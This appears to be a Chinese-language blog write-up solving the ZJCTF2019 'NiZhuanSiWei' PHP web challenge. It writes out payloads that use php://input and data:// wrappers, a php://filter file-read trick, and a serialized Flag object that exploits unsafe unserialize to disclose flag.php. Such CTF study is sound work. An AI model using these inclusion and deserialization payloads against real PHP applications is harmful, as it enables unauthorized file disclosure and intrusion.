ZJCTF2019
NiZhuanSiWei
1 |
|
-
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))$text可以用php://input协议读取POST提交的原始数据内容(也可以用data伪协议传参
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=)
url/?text=php://input然后post提交welcome to the zjctf,绕过第一层
-
include($file); //useless.php$file提示useless.php,直接赋值useless.php是没有返回的,这里用phhp://filter伪协议编码后读取
url/?text=php://input?file=php://filter/read=convert.base64-encode/resource=useless.php
获得的内容base64解码
1 |
|
-
$password = unserialize($password);建立
Flag类,对其中的file赋值为flag.php,然后获得序列化字符串赋值给password,password反序列化后获得Flag类,echo的时侯调用tostring魔术方法将flag.php输出。但是要注意,在的一个php文件中并没有自动包含
Flag类,所以需要给file赋值为useless.php来包含进Flag类。
payload:/?text=php://input&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Rick!
评论


